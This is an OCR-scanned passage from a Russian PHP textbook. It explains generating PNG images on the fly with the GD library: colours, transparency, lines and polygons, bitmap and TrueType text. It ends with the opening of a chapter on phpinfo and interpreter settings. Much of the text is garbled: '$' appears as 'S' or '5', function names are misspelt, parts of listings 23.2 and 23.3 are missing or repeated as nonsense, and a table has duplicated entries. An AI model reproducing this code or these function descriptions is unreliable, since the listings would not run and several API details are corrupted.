В большинстве случаев это действительно так. Однако есть и исключения, например, графические счетчики (автоматически создаваемые картинки с отображаемым поверх числом, которое увеличивается при каждом "заходе" пользователя на страницу), или же графики, которые пользователь может строить в реальном времени — скажем, диаграммы сбыта продукции или снижения цен на комплектующие. Все эти приложения требуют как мини-

мум умения генерировать изображения "на лету", причем с довольно большой скоростью. Чтобы этого добиться на PHP, можно применить два способа: задействовать какую-нибудь внешнюю утилиту для формирования изображения (например, известную программу fly), или же воспользоваться встроенными функциями РНР для работы с графикой. Оба способа имеют как достоинства, так и недостатки, но, пожалуй, недостатков меньше у второго метода, так что им-то мы и займемся в этой главе.

С недавнего времени все программные продукты, которые умели формировать изображения в формате GIF, переориентируются на PNG. В частности, не так давно компания, поддерживающая библиотеку GD для работы с GIF- изображениями, переписала ее код с учетом формата PNG. Так как РНР использует эту библиотеку, то поддержка GIF автоматически исключилась и из него. К счастью, в Интернете все еще можно найти старые версии GD с поддержкой GIF и, таким образом, настроить РНР для работы с этим форматом, но задумайтесь: стоит ли теперь применять GIF, если весь мир вполне успешно переходит на PNG, тем более, что его поддерживают практически все современные браузеры (четвертой версии) — а это 98% от используемого их числа...

Универсальная функция

GetimageSizeO

Что же, работать с картинками приходится часто — гораздо чаще, чем может показаться на первый взгляд. Среди наиболее распространенных операций можно особо выделить одну — определение размера рисунка. Чтобы сделать программистам "жизнь раем", разработчики РНР встроили в него функцию, которая работает практически со всеми распространенными форматами изображений, в том числе с GIF, JPEG и PNG.

list GetlimageSize(string $filename [,arrays $imageinfoi)

Эта функция предназначена для быстрого определения в сценарии размеров (в пикселах) и формата рисунка, имя файла которого передано ей в первом параметре. Она возвращает список из четырех элементов. Первый элемент (с ключом 0) хранит ширину картинки в пикселах, второй (с ключом 1) — его высоту. Ячейка массива с ключом 2 определяется форматом изображения: 0, если это GIF, 1 в случае JPG и 2 для PNG. Следующий элемент, имеющий ключ 3, будет содержать после вызова функции строку примерно следующего вида: height=sx width=sy, где sx и sy — соответственно ширина и высота изображения. Это применение задумывалось для того, чтобы облегчить вставку данных о размере изображения в тэг <img>, который может быть сгенерирован сценарием.

Работа с изображениями

и библиотека GD

Давайте теперь рассмотрим идею создания рисунков сценарием "на лету". Например, как мы уже замечали, это очень может пригодиться при создании сценариев-счетчиков, графиков, картинок-заголовков да и многого другого.

Для деятельности такого рода существует специальная библиотека под названием GD. Она содержит в себе множество функций (такие как рисование линий, растяжение/сжатие изображения, заливка до границы, вывод текста и т. д.), которые могут использовать программы, поддерживающие работу с данной библиотекой. РНР (со включенной поддержкой GD) как раз и является такой программой.

Замечание

Поддержка GD включается при компиляции и установке РНР. Возможно, некоторые хостинг-провайдеры ее не имеют. Выясните, работает ли РНР вашего хостера с библиотекой GD.

Пример

Начнем сразу с примера сценария, который представляет собой не HTML- страницу в обычном смысле, а рисунок PNG. То есть URL этого сценария можно поместить в тэг:

<img src=button.php?Hello+world!>

Как только будет загружена страница, содержащая указанный тэг, сценарий запустится и отобразит надпись Hello world! на фоне рисунка, лежащего в images/button.png. Полученная картинка нигде не будет храниться — она создается "на лету".

Рис. 23.1. Демонстрация возможностей вывода TrueType-шрифтов на РНРРис. 23.1. Демонстрация возможностей вывода TrueType-шрифтов на РНР

Рис. 23.1. Демонстрация возможностей вывода TrueType-шрифтов на РНР

Рис. 23.1. Демонстрация возможностей вывода TrueType-шрифтов на РНР

I Листинг 23.1. Создание картинки "на лету"

<?

// Получаем строку, которую нам передали в параметрах

$string=$QUERY_STRING;

// Загружаем рисунок фона с диска

$im= imageCreateFromPng("images/button.png") ;

// Создаем в палитре новый цвет — оранжевый

$orange = imageColorAllocate ($im, 220, 210, 60);

// Вычисляем размеры текста, который будет выведен

$рх= (imageSx($im) -7.5*strlen($string)) /2;

// Выводим строку поверх того, что было в загруженном изображении imagestring($im,3, $px,9,Sstring,Sorange);

// Сообщаем о том, что далее следует рисунок PNG

Header ( "Content-type: image/png") ;

// Теперь — самое главное: отправляем данные картинки в

// стандартный выходной поток, т. e. в браузер

imagePng($im);

/ / В конце освобождаем память , занятую картинкой imageDestroy ($im);

Итак, мы получили возможность "на лету" создавать стандартные кнопки с разными надписями, имея только "шаблон" кнопки.

Создание изображения

Давайте теперь разбираться, как работать с картинками в GD. Для начала нужно картинку создать — пустую (при помощи imagecreate o) или же загруженную С диска (imageCreateFromPng(), imageCreateFromJpeg() ИЛИ imageCreateFromGif(), в зависимости от того, какие форматы поддерживаются РНР и GD).

int imageCreate(int $x, int $y)

Создает пустую картинку размером $х на $y точек и возвращает ее идентификатор. После того, как картинка создана, вся работа с ней осуществляется именно через этот идентификатор, по аналогии с тем, как мы работаем с файлом через его дескриптор.

int imageCreateFromPng(string Sfilename) или

int imageCreateFromJpeg(string $filename) или

int imageCreateFromGif(string $filename)

Эти функции загружают изображения из файла в память и возвращают его идентификатор. Как и после вызова imageCreate(), дальнейшая работа с картинкой возможна только через этот идентификатор. При загрузке с диска изображение распаковывается и хранится в памяти уже в неупакованном формате, для того чтобы можно было максимально быстро производить с ним различные операции, такие как масштабирование, рисование линий и т. д. При сохранении на диск или выводе в браузер функцией imagePng о (или, соответственно, imageJpeg() и imageGif()) картинка автоматически упаковывается.

Стоит заметить, что не обязательно все три функции будут доступны в вашей версии РНР. Скорее Всего, В ней не ОКажеТСЯ ФУНКЦИИ imageCreateFromGif ( ) , а ВОЗМОЖНО, И imageCreateFromJpeg() , ПОТОМУ ЧТО ОТ первой разработчики GD просто отказались, а вторая появилась сравнительно недавно. Надеюсь, в скором времени ситуация нормализуется, но сейчас, к сожалению, это не так.

Определение параметров изображения

Как только картинка создана и получен ее идентификатор, GD становится совершенно все равно, какой формат она имеет и каким путем ее создали. То есть все остальные действия с картинкой происходят через ее идентификатор, вне зависимости от формата, и это логично — ведь в памяти изображение все равно хранится в распакованном виде (наподобие BMP), а значит,информацияоееформате нигденеиспользуется.Такчтовполне

ВОЗМОЖНО ОТКРЫТЬ PNG-ИЗОбражеНИе С ПОМОЩЬЮ imageCreateFromPng( ) И сохранить ее на диск функцией imageJpeg 0 , уже в другом формате. В дальнейшем можно в любой момент времени определить размер загруженной КарТИНКИ, воспользовавшись ФУНКЦИЯМИ imageSX() И imageSY() :

int imageSX(int Sim)

Функция возвращает горизонтальный размер изображения, заданного своим идентификатором, в пикселах.

int imageSY(int Sim)

Возвращает высоту картинки в пикселах.

int imageColorsTotal(int $im)

Эту функцию имеет смысл применять только в том случае, если вы работаете с изображениями, "привязанными" к конкретной палитре — например, с файлами GIF. Она возвращает текущее количество цветов в палитре. Как мы вскоре увидим, каждый вызов imageColorAllocate о увеличивает размер палитры. В то же время известно, что если при небольшом размере палитры GIF-картинка сжимается очень хорошо, то при переходе через степень ДВОЙ-

ки (например, от 16 к 17 цветам) эффективность сжатия заметно падает, что ведет к увеличению размера (так уж устроен формат GIF). Если мы не хотим этого допустить и собираемся вызывать imageColorAllocate о только до предела 16 цветов, а затем перейти на использование imageColorClosest(), нам очень может пригодиться рассматриваемая функция.

Сохранение изображения

Давайте займемся функцией, поставленной в листинге 23.1 "на предпоследнее место", которая, собственно, и выполняет большую часть работы — ВЫводит изображение в браузер пользователя. Оказывается, эту же функцию можно применять и для сохранения рисунка в файл.

int imagePng (int $im [,string Sfilename]) или

int imageJpeg (int Sim [, string Sfilename]) или

int imageGif(int Sim [, string Sfilename])

Эти функции сохраняют изображение, заданное своим идентификатором и находящееся в памяти, на диск, или же выводят его в браузер. Разумеется, вначале изображение должно быть загружено или создано при помощи функции imageCreate (), т. е. мы должны знать его идентификатор Sim.

Если аргумент Sfilename опущен, то сжатые данные в соответствующем формате выводятся прямо в стандартный выходной поток, т. е. в браузер. Нужный заголовок Content-type при этом не выводится, ввиду чего нужно выводить его вручную при помощи Header(), как это было показано в примере из листинга 23.1.

Внимание

Некоторые браузеры не требуют вывода правильного Content-type, а определяют, что перед ними рисунок, по нескольким первым байтам присланных данных. Ни в коем случае не полагайтесь на это! Дело в том, что все еще существуют браузеры, которые этого делать не умеют. Кроме того, такая техника идет вразрез со стандартами HTTP.

Фактически, вы должны вызвать одну из трех команд, в зависимости от типа изображения:

Header("Content-type: image/png") для PNG

Header("Content-type: image/jpeg") для JPEG

Header("Content-type: image/gif") для GIF

Рекомендую их вызывать не в начале сценария, а непосредственно перед ВЫЗОВОМ ImagePng(), imageGif() ИЛИ imageJpeg() , ПОСКОЛЬКУ Иначе ВЫ не сможете никак увидеть сообщения об ошибках и предупреждения, которые, возможно, будут сгенерированы программой.

Примечание j

К рассмотренным только что функциям можно сделать точно такие же замечания, как и к семейству imageCreateFromXXX() , т. е., некоторые из них могут отсутствовать — скорее всего, последняя. Однако случаются и забавные казусы. Я видел версию РНР, в которой не поддерживалась вообще ни одна из этих функций, ровно как и функции imageCreateFromXXX () . В то же время imageCreate () работала (во всяком случае, так казалось). Возникает интересный вопрос: мы можем создавать изображения, рисовать в них линии, круги, выводить текст, но не в состоянии ни сохранить их где-нибудь, ни даже загрузить уже готовую картинку с диска. Зачем тогда вообще были нужны все остальные функции?..

Работа с цветом в формате RGB

Наверное, теперь вам захочется что-нибудь нарисовать на пустой или только что загруженной картинке. Но чтобы рисовать, нужно определиться, каким цветом это делать. Проще всего указать цвет заданием тройки RGB-значений (от red-green-blue) — это три цифры от 0 до 255, определяющие содержание красной, зеленой и синей составляющих в нужном нам цвете. Число 0 обозначает нулевую яркость соответствующей компоненты, а 255 — максимальную интенсивность. Например, (0,0,0) задает черный цвет, (255,255,255) - белый, (255,0,0) — ярко-красный, (255,255,0) — желтый и т. д.

Правда, GD не умеет работать с такими тройками напрямую. Она требует, чтобы перед использованием RGB-цвета был получен его специальный идентификатор. Дальше вся работа опять же осуществляется через этот идентификатор. Скоро станет ясно, зачем нужна такая техника.

Создание нового цвета

int imageColorAllocate (int $im, int $red, int $green, int $blue)

Функция возвращает идентификатор цвета, связанного с соответствующей тройкой RGB. Обратите внимание, что первым параметром функция требует идентификатор изображения, загруженного в память или созданного до этого. Практически каждый цвет, который планируется в дальнейшем использовать, должен быть получен (определен) при помощи вызова этой функции. Почему "практически" - станет ясно после рассмотрения функции imageColorClosest() .

Получение ближайшего цвета

Давайте разберемся, зачем это придумана такая технология работы с цветами через промежуточное звено — идентификатор цвета. А дело все в том, что некоторые форматы изображений (такие как GIF и частично PNG) не

поддерживают любое количество различных цветов в изображении. А именно, в GIF количество одновременно присутствующих цветов ограничено цифрой 256, причем чем меньше цветов используется в рисунке, тем лучше он "сжимается" и тем меньший размер имеет файл. Тот набор цветов, который реально использован в рисунке, называется его палитрой.

Представим себе, что произойдет, если все 256 цветов уже "заняты" и вызывается функция imageColorAllocate(). В этом случае она обнаружит, что палитра заполнена полностью, и найдет среди занятых цветов тот, который ближе всего находится к запрошенному — будет возвращен именно его идентификатор. Если же "свободные места" в палитре есть, то они и будут использованы этой функцией (конечно, если в палитре вдруг не найдется точно такой же цвет, как запрошенный — обычно дублирование одинаковых цветов всячески избегается).

int imageColorClosest(int $im, int Seed, int $green, int Sblue)

Наверное, вы уже догадались, зачем нужна функция imageColorClosest () ■ Вместо того чтобы пытаться выискать свободное место в палитре цветов, она просто возвращает идентификатор цвета, уже существующего в рисунке и находящегося ближе всего к затребованному. Таким образом, нового цвета в палитру не добавляется. Если палитра невелика, то функция может вернуть не совсем тот цвет, который вы ожидаете. Например, в палитре из трех цветов "красный-зеленый-синий" на запрос желтого цвета будет, скорее всего, возвращен идентификатор зеленого — он "ближе всего" с точки зрения GD соответствует понятию "зеленый".

Эффектпрозрачности

ФуНКЦИЮ imageColorClosest () МОЖНО И нужно ИСПОЛЬЗОВаТЬ, если МЫ не хотим допустить разрастания палитры и уверены, что требуемый цвет в ней уже есть. Однако есть и другое, гораздо более важное, ее применение — определение эффекта прозрачности для изображения. "Прозрачный" цвет рисунка — это просто те точки, которые в браузер не выводятся. Таким образом, через них "просвечивает" фон. Прозрачный цвет у картинки всегда ОДИН, И задается ОН при помощи ФУНКЦИИ imageColorTransparent () .

int imageColorTransparent(int Sim [,$int col])

Функция imageColorTransparent о указывает GD, что соответствующий цвет Scol (заданный своим идентификатором) в изображении $im должен обозначиться как прозрачный. Возвращает она идентификатор установленного до этого прозрачного цвета, либо false, если таковой не был определен ранее.

( Замечание J

Не все форматы поддерживают задание прозрачного цвета — например, JPEG не может его содержать.

Например, мы нарисовали при помощи GD птичку на кислотно-зеленом фоне и хотим, чтобы этот фон как раз и был "прозрачным" (вряд ли у птички есть части тела такого цвета, хотя с нашей экологией все может быть...). В этом случае нам потребуются такие команды:

5tc=imageColorClosest(Sim,0,255,0);

imageColorlransparent(Sim,$tc);

Обратите внимание на то, что применение функции imageColorAllocate() здесь совершенно бессмысленно, потому что нам нужно сделать прозрачным именно тот цвет, который уже присутствует в изображении, а не новый, только что созданный.

Получение RGB-составляющих

array imageColorsForlndex(int Sim, int $index)

Функция возвращает ассоциативный массив с ключами red, green и blue (именно в таком порядке), которым соответствуют значения, равные величинам компонент RGB в идентификаторе цвета $index. Впрочем, мы можем и не обращать особого внимания на ключи и преобразовать возвращенное значение как список:

$c=imageColorAt($i, 0,0)

list(Sr,5g,Sb)=array_values(imageColorsForlndex($i, $c)) ; echo "R=$r, g=$g, b=$b";

Эта функция ведет себя противоположно по отношению к imageCollorAllocate() ИЛИ imageColorClosest ().

Графические примитивы

Здесь мы рассмотрим минимальный набор функций для работы с картинками. Приведенный список функций не полон и постоянно расширяется вместе с развитием GD. Но все же он содержит те функции, которые вы будете употреблять в 99% случаев. За полным списком функций обращайтесь к документации или на http://ru.php.net.

Копирование изображений

int imageCopyResized(int $dst_im, int $src_im, int $dstX, int $dstY, int $srcX, int $srcY, int $dstW, int $dstH, int SsrcW, int SsrcH)

Эта функция — одна из самых мощных и универсальных, хотя и выглядит просто ужасно. С помощью нее можно копировать изображения (или их

участки), перемещать и масштабировать их. Пожалуй, 10 параметров для функции — чересчур, но разработчики РНР пошли таким путем. Что же, это их право...

Итак, $dst_im задает идентификатор изображения, в который будет помещен результат работы функции. Это изображение должно уже быть создано или загружено и иметь надлежащие размеры. Соответственно, $src_im - идентификатор изображения, над которым проводится работа. Впрочем, $src_im и $dst_im могут и совпадать.

Параметры ($srcx, $srcY, SsrcW, SsrcH) (обратите внимание на то, что они следуют при вызове функции не подряд!) задают область внутри исходного изображения, над которой будет осуществлена операция — соответственно, координаты ее верхнего левого угла, ширину и высоту.

Наконец, четверка (Sdstx, $dstY, $dstW, $dstH) задает то место на изображении $dst im, в которое будет "втиснут" указанный в предыдущей четверке прямоугольник. Заметьте, что, если ширина или высота двух прямоугольников не совпадают, то картинка автоматически будет нужным образом растянута или сжата.

Таким образом, с помощью функции imageCopyResized() мы можем:

копировать изображения;

копировать участки изображений;

масштабировать участки изображений;

□ копировать и масштабировать участки изображения в пределах одной картинки.

В последнем случае возникают некоторые сложности, а именно, когда тот блок, из которого производится копирование, частично налагается на место, куда он должен быть перемещен. Убедиться в этом проще всего экспериментальным путем. Почему разработчики GD не предусмотрели средств, которые бы корректно работали и в этом случае, не совсем ясно.

Прямоугольники

int imageFilledRectangle(int $im,int $xl,int $yl,int $x2,int $y2,int $c) Название этой функции говорит за себя: она рисует закрашенный прямоугольник в изображении, заданном идентификатором Sim, цветом $col (полученным, например, при помощи функции imageColorAllocateО). Координаты ($xl,$yl) и ($х2,$у2) задают координаты верхнего левого и правого нижнего углов, соответственно (отсчет, как обычно, начинается с левого верхнего угла и идет слева направо и сверху вниз).

Эта функция часто применяется для того, чтобы целиком закрасить только что созданный рисунок, например, прозрачным цветом:

$i=imageCreate(100, 100) ;

$c=imageColorAllocate($iО, О,0) ;

imageColorTransparent($1, $c) ;

imageFilledRectangle($i,0,0,imageSX($1)-1,imageSY($i) -1, $c);

// дальше работаем с изначально прозрачным фоном

int ImageRectangle(int $im, int $xl, int $yl, int $x2, int $y2, int $col)

Функция imageRectangle о рисует в изображении прямоугольник с границей толщиной 1 пиксел цветом $col. Параметры задаются так же, как и в функции imageFilledRectangle () •

Линии

int imageLine(int $im,int$xl,int$yl,int$x2,int$y2,int$col)

Эта функция рисует сплошную тонкую линию в изображении $im, проходящую через точки ($xl,$yl) и ($х2,$у2), цветом $col. Линия получается слабо связанной (про связность см. чуть ниже).

int imageDashedLline(int $im, int $xl,int $yl,int $x2,int $y2,int $col)

Функция imageDashedLine() работает ПОЧТИ так же, как И imageLine (), только рисует не сплошную, а пунктирную линию. К сожалению, ни размер, ни шаг штрихов задавать нельзя, так что, если вам обязательно нужна пунктирная линия произвольной фактуры, придется заняться математическими расчетами И ИСПОЛЬЗОВать imageLine().

Дуга сектора

int imageArc(int $imrint $ox,int $cy,int $w,int $h,int $s,int $e,int $c)

Функция imageArc() рисует в изображении $im дугу сектора эллипса от угла $s до $е (углы указываются в градусах против часовой стрелки, отсчитываемых от горизонтали). Эллипс рисуется такого размера, чтобы вписываться в прямоугольник ($x,$y,$w,$h), где $w и $h задают его ширину и высоту, а $х и $у — координаты левого верхнего угла. Сама фигура не закрашивается, обводится только ее контур, для чего используется цвет $с.

Закраска произвольной области

int imageFill(int $im, int $x, int $y, int $col)

Функция imageFill о выполняет сплошную заливку одноцветной области, содержащей точку с координатами ($х,$у) цветом $col. Нужно заметить, что современные алгоритмы заполнения работают довольно эффективно, так что не стоит особо заботиться о скорости ее работы. Итак, будут закрашены только те точки, к которым можно проложить "одноцветный сильно связанный путь" из точки ($х,$у).

Примечание

Две точки называются связанными сильно, если у них совпадает по крайней мере одна координата, а по другой координате они отличаются не более, чем на 1 в любую сторону.

int imageFillToBorder(int $im, int $x, int $y, int $border, int $col)

Эта функция очень похожа на imageFill о , только она выполняет закраску не одноцветных точек, а любых, но до тех пор, пока не будет достигнута граница цвета $border. Под границей здесь понимается последовательность слабо связанных точек.

Примечание

Две точки называются слабо связанными, если каждая их координата отличается от другой не более, чем на 1 в любом направлении. Очевидно, всякая сильная связь является также и слабой.

Многоугольники

int imagePolygon(int $im, list $points, int $num_points, int $col)

Эта функция рисует в изображении $im многоугольник, заданный своими вершинами. Координаты углов передаются в массиве-списке $points, причем $points[0]=x0, $points[1]=y0, $points[2]=xl, $points[3]=yl, И T. Д. Параметр $num_points указывает общее число вершин — на тот случай, если в массиве их больше, чем нужно нарисовать. Многоугольник не закрашивается — только рисуется его граница цветом $col.

int imageFilledPolygon(int $im, list $points, int $num_points, int $col)

Функция imageFilledPolygon() делает практически то же самое, что и imagePolygon (), за исключением одного очень важного свойства: полученный многоугольник целиком заливается цветом $col. При этом правильно обрабатываются вогнутые части фигуры, если она не выпукла.

Работа с пикселами

int imageSetPixel(int $im, int $x, int $y, int $col)

Эта функция практически не интересна, т. к. выводит всего один пиксел цвета $col в изображении $im, расположенный в точке ($х,$у). Не думаю, чтобы с помощью нее можно было закрасить хоть какую-нибудь сложную фигуру,потомучто,какмызнаем,РНР довольномедленноработаетс

длинными циклами, а значит, даже рисование обычной линии с использованием этой функции будет очень дорогим занятием.

int imageColorAt(int $im, int $x, int $y)

В ПРОТИВОПОЛОЖНОСТЬ своему антиподу - функции imageSetPixel () - функция imageColorAt о не рисует, а возвращает цвет точки, расположенной на координатах ($х,$у). Возвращается идентификатор цвета, а не его RG В-представление.

Функцию удобно использовать, опять же, для определения, какой цвет в картинке должен быть прозрачным. Например, все у той же птички на кислотнозеленом фоне мы достоверно знаем, что прозрачный цвет точно приходится на точку с координатами (0,0). Таким образом, теперь мы сможем в любой момент сменить цвет фона на мертвенно-голубой (который тоже у реальной птицы вряд ли встретится), и программа все равно будет работать правильно.

Работа с фиксированными шрифтами

Библиотека GD имеет некоторые возможности по работе с текстом и шрифтами. Шрифты представляют собой специальные ресурсы, имеющие собственный идентификатор, и чаще всего загружаемые из файла или встроенные в GD. Каждый символ шрифта может быть отображен лишь в моноцветном режиме, т. е. "рисованные" символы не поддерживаются. Встроенных шрифтов всего 5 (идентификаторы от 1 до 5), чаще всего в них входят моноширинные символы разных размеров. Остальные шрифты должны быть предварительно загружены.

Загрузка шрифта

int imageLoadFont(string $file)

Функция загружает файл шрифтов и возвращает идентификатор шрифта - это будет цифра, большая 5, потому что пять первых номеров зарезервированы как встроенные. Формат файла — бинарный, а потому зависит от архитектуры машины. Это значит, что файл со шрифтами должен быть сгенерирован по крайней мере на машине с процессором такой же архитектуры, как и у той, на котором вы собираетесь использовать РНР. Вот формат этого файла (табл. 23.1). Левая колонка задает смещение начала данных внутри файла, а группами цифр, записанных через дефис, определяется, до какого адреса продолжаются данные.

Таблица 23.1. Формат файла со шрифтом

Смещение

Тип

Описание

Byte 0-3

long

Число символов в шрифте (nchars)

byte 4-7

long

Индекс первого символа шрифта (обычно 32 — пробел)

Таблица 23. 1 (окончание)

Смещение

ТипОписание

byte 8-11

longШирина (в пикселах) каждого знака (width)

byte 12-15

longВысота I[в пикселах) каждого знака (height)

byte 16-...

arrayМассив с информацией о начертании каждого символа, по

одному байту на пиксел. На один символ, таким образом, приходится width*height байтов, а на все — width*height*nchars байтов. О означает отсутствие точки в данной позиции, все остальное — ее присутствие

Параметры шрифта

После того как шрифт загружен, его можно использовать (встроенные шрифты, конечно же, загружать не требуется).

int imageFontHeight(int $font)

Возвращает высоту в пикселах каждого символа в заданном шрифте.

int imageFontWidth(int $font)

Возвращает ширину в пикселах каждого символа в заданном шрифте.

Вывод строки

int imagestring(int $im, int $font, int $x, int $y, string $s, int $col)

Выводит строку $s в изображение Sim, используя шрифт Sfont и цвет Scol. Координаты ($х,$у) будут координатами левого верхнего угла прямоугольника, в который вписана строка.

int imageStringUp(int Sim, int Sfont, int $x, int $y, string $s, int $c)

Эта функция также выводит строку текста, но не в горизонтальном, а в вертикальном направлении. Верхний левый угол, по-прежнему, задается коор- динатами($х,$у).

Работа со шрифтами TrueType

Библиотека GD поддерживает также работу со шрифтами PostScript и TrueType. Мы с вами рассмотрим только последние, т. к., во-первых, их существует великое множество (благодаря платформе Windows), а во-вторых, с ними проще всего работать в PHP.

i Замечание J

Для того чтобы заработали приведенные ниже функции, РНР должен быть откомпилирован и установлен вместе с библиотекой FreeType, доступной по

адресу http://www.freetype.org. В Windows-версии РНР она установлена по умолчанию.

Всего существует две функции для работы со шрифтами TrueType. Одна из них выводит строку в изображение, а вторая — определяет, какое положение эта строка бы заняла при выводе.

Вывод строки

list imageTTFText(int $im, int $size, int $angle, int $x, int $y, int $col, string $fontfile, string $text)

Эта функция помещает строку $text в изображение $im цветом $col. Как обычно, $col должен представлять собой допустимый идентификатор цвета. Параметр $angle задает угол наклона в градусах выводимой строки, отсчитываемый от горизонтали против часовой стрелки. Координаты ($х,$у) указывают положение так называемой базовой точки строки (обычно это ее левый нижний угол). Параметр $size задает размер шрифта, который будет использоваться при выводе строки. Наконец, $fontfile должен содержать имя TTF-файла, в котором, собственно, и хранится шрифт.

Внимание

Хотя в официальной документации об этом ничего не сказано, я рискну взять на себя ответственность и заявить, что параметр $fontfile должен всегда задавать абсолютный путь (от корня файловой системы) к требуемому файлу шрифтов. Что самое интересное, в РНР версии 3 функции все же работают с относительными именами. Но в любом случае лучше подстелить соломку — абсолютные пути еще никому не вредили, не правда ли?..

Функция возвращает список из 8 элементов. Первая их пара задает координаты (х,у) верхнего левого угла прямоугольника, описанного вокруг строки текста в изображении, вторая пара — координаты верхнего правого угла, и т. д. Так как в общем случае строка может иметь любой наклон $angle, здесь требуются 4 пары координат.

Вот пример использования этой функции:

Листинг 23.2. Вывод TrueType-строки

<?

// Выводимая строка

$string="Hello world!";

// Создаем рисунок подходящего размера $im =

// Создаем в палитре новые цвета

$black =О, О,

$orange =220, 210,

// Закрашиваем картинку imageFill($im,О,0,Sblack);

// Рисуем строку текста (файлрасположен в текущем каталоге)

imagettftext($im, 50,0,20,35,$orange,getcwd()."/times.ttf",Sstring);

// Сообщаем о том, что далее следует рисунок PNG Header("Content-type: image/png");

// Выводим рисунок imagePng(Sim);

Определение границ строки

list$size, intstring $fontfile, string $text)

Эта функция ничего не выводит в изображение, а просто определяет, какой размер и положение заняла бы строка текста $text размера $size, выведенная под угломв какой-нибудь рисунок. Параметркак и в

функциизадает абсолютный путь к файлу шрифта, кото

рый будет использован при выводе.

Возвращаемый список содержит всю информацию о размерах строки в формате, похожем на тот, что выдает функция imageTTFText Однако порядок точек в нем отличается (табл. 23.2).

Таблица 23.2. Содержимое возвращаемого функцией

Индексы

Что содержится

О и 1

(х,у) левого нижнего угла

2 и 3

правого нижнего угла

4 и 5

(х,у) правого верхнего угла

4 и 5

левого верхнего угла

Пример

В листинге 23.3 я привожу пример сценария, который использует возможности вывода TrueType-шрифтов, а также демонстрирует работу с цветом RGB. Хотя размер примера довольно велик, рисунок, который он генерирует, выглядит довольно привлекательно (см. рис.

Листинг 23.3. Вывод строки произвольного формата

Аналог(поно работает не с

// RGB-тройкой, а с цветом в формате XXYYZZ,

// * XX — red-составляющая в шестнадцатеричном формате;

// * YY — green-составляющая в шестнадцатеричном формате;

// *— blue-составляющая в шестнадцатеричном формате.

Можнодругую функцию получения цвета, задав ее

// имя в параметре(например,

function$c,

{ // Сначала дополняем нулями в начале, если нужно

$i++)

$r=hexdec(substr($c,0,2));

$g=hexdec(substr($c,2,2));

Sb=hexdec(substr($c, 4,2));

return

// Первым делом устанавливаем параметры по умолчанию. Эти

// параметры можно переопределять при вызове сценария

// (например,

iff'OSa' Sa=^n;if(!@$s) $s=80;iff'OSa' Sa=^n;if(!@$s) $s=80;угол поворотаумолчанию 30)

iff'OSa' Sa=^n;

if(!@$s) $s=80;

iff'OSa' Sa=^n;

if(!@$s) $s=80;

// размер шрифта (80)

if(1@$d) $d=10;if(1@$d) $d=10;if(!@$b) $b="®AAAA"; // цвет заднего плана (зеленовато-голубой) // цвет букв

if(1@$d) $d=10;

if(1@$d) $d=10;

// зазор между текстом и границей рисунка

// шрифт

// текст

// Получаем границы рамки текста

$Bnd=imageTTFBBox($s,$a,getcwd()."/$f.ttf",$text);

// Массивы х- и у-координат всех точек

$X=$Y=array();

// Заполняем эти массивы на основании SBnd

$i++) {

$X[]=$Bnd[$i*2];

$Y[]=$Bnd[$i*2+l];

/ / Вычисляем размер картинки с учетом зазора $d

$MX=max($X) -min($X) +$d*2; // размер по х

$MY=max($Y)-min(SY)+$d*2; // размер по у

// Теперь вычисляем координаты базовой точки строки, чтобы

// она располагалась точно по центру поля картинки

$x=Sd+$Bnd [O]-min (SX) +2 ;■

$y=Sd+$Bnd[1]-min(SY)+2;

// Создаем рисунок нужного размера

Sim =

// Создаем в палитре новые цвета

$black = ImageColorHex (Sim, 0);// черный (тень)

$back = imageColorHex(Sim, Sb) ; // задний план

$front = imageColorHex (Sim, Sc) ; // цвет букв

// Очищаем задний план

imageFill($im,0,0,Sback) ;

imageRectangle (Sim,0,0, SMX-l, SMY-l, Sblack.) ;

// Выводим тень от текста

imagettftext (Sim, $s,$a,$x+2,$y+2,Sblack,getcwd(). "/$f.ttf",Stext);

// Выводим текст

imagettftext ($im,$s, Sa, $x, $y, $ front, getcwd () . "/$f. ttf " , Stext) ;

// Выводим рисунок в браузер

Header("Content-type: image/png");

imagePng(Sim);

Сценарий из листинга 23.3 (назовем его ttf. php) генерирует картинку с заданным цветом заднего плана, в которую выводится указанная строка с тенью. При этом используется TrueType-шрифт, а также определяются размер строки, угол ее наклона, цвет и т. д.

Формат вызова сценария имеет следующий общий вид:

ttf .рЬр?а=Градусы&з=Размер&Ь=ЗаднийЦвет&с=Цвет8^=Зазор&1=Фонт&1ех1=Текст

Ни один из этих параметров не является обязательным — в случае пропуска подставляются значения по умолчанию (см. листинг 23.3).

Необходимо заметить, что прежде, чем запускать сценарий, нужно скопировать TTF-файл со шрифтом в каталог, где расположена программа (например, взяв его из C: /WINDOWS/FONTS для платформы Windows). Параметр f задает имя этого файла без расширения, и ищется он в текущем каталоге. По умолчанию выбран шрифт Times.

Глава 24

Управление интерпретатором

РНР, как и любая другая крупная программа, имеет множество различных настроечных параметров. Слава богу, большинство из них по умолчанию уже имеют правильные значения. Тем не менее, нередко приходится эти параметры изменять или проверять. В этой главе мы вкратце рассмотрим основные возможности конфигурирования РНР и некоторые полезные функции, управляющие работой интерпретатора.

Информационные функции

Прежде всего давайте познакомимся с двумя функциями, одна из которых выводит текущее состояние всех параметров РНР, а вторая — версию интерпретатора.

int phpinfo()

Эта функция, которая в общем-то не должна появляться в законченной программе, выводит в браузер большое количество различной информации, касающейся настроек РНР и параметров вызова сценария. Именно, в стандартный выходной поток (то есть в браузер пользователя) печатается:

версия РНР;

опции, которые были установлены при компиляции РНР;

П информация о дополнительных модулях;

переменные окружения, в том числе и установленные сервером при получении запроса от пользователя на вызов сценария;

П версия операционной системы;

I П состояние основных и локальных настроек интерпретатора;

П HTTP-заголовки;

лицензия РНР.

Как видим, вывод довольно объемист. Воочию в этом можно убедиться, запустив такой сценарий:

<?

phpinfо();

?>

Надо заметить, что функция phpinf о в основном применяется при первоначальной установке РНР для проверки его работоспособности. Думаю, для других целей использовать ее вряд ли целесообразно — слишком уж много информации она выдает.

string

Функцияпожалуй, могла бы по праву занять первое место на

соревнованиях простых функций, потому что все, что она делает — возвращает текущую версию РНР.

int

Завершающая функция этойgetlastmodOвозвращает время

последнего изменения файла, содержащего сценарий. Она не так полезна, как это может показаться на первый взгляд, потому что учитывает время изменения только главного файла, того, который запущен сервером, но не файлов, которые включаются в него директивами require или include. Время возвращается в формате(то есть, это число секунд, про

шедших с 1 января 1970 года до момента модификации файла), и оно может быть затем преобразовано в читаемую форму, например:

echo "Последнее изменение:getlastmodO);

// Выводит что-то вродеизменение:

Настройка параметров РНР

Все параметры находятся в файлеЗадаются они в формате

на одной строке может определяться только один параметр. Любые символы, расположенные после и до конца строки, игнорируются (таким образом, точка с запятой — это признак начала комментария).

